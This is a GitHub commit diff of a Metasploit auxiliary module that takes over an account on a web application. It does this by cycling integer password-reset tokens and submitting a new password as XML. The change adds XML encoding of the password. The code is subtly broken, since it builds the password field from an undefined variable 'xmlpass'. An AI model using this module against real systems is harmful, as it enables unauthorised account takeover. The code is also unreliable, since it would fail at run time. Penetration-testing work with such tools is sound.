File tree Expand file tree Collapse file tree 1 file changed +6
-3
lines changed
modules/auxiliary/admin/http Expand file tree Collapse file tree 1 file changed +6
-3
lines changed Original file line number Diff line number Diff line change 6
6
##
7
7
8
8
require 'msf/core'
9
+ require 'rexml/element'
9
10
10
11
class Metasploit3 < Msf ::Auxiliary
11
12
@@ -80,13 +81,15 @@ def clear_tokens()
80
81
end
81
82
82
83
def reset_one ( password , report = false )
83
- print_status ( "Resetting password to \" #{ datastore [ 'PASSWORD' ] } \" " ) if report
84
+ print_status ( "Resetting password to \" #{ password } \" " ) if report
84
85
85
86
( 0 ..datastore [ 'MAXINT' ] ) . each { |int_to_try |
87
+ encode_pass = REXML ::Text . new ( password ) . to_s
88
+
86
89
xml = ""
87
90
xml << "<user>"
88
- xml << "<password>#{ password } </password>"
89
- xml << "<password_confirmation>#{ password } </password_confirmation>"
91
+ xml << "<password>#{ xmlpass } </password>"
92
+ xml << "<password_confirmation>#{ encode_pass } </password_confirmation>"
90
93
xml << "<reset_password_token type=\" integer\" >#{ int_to_try } </reset_password_token>"
91
94
xml << "</user>"
92
95
You can’t perform that action at this time.
0 commit comments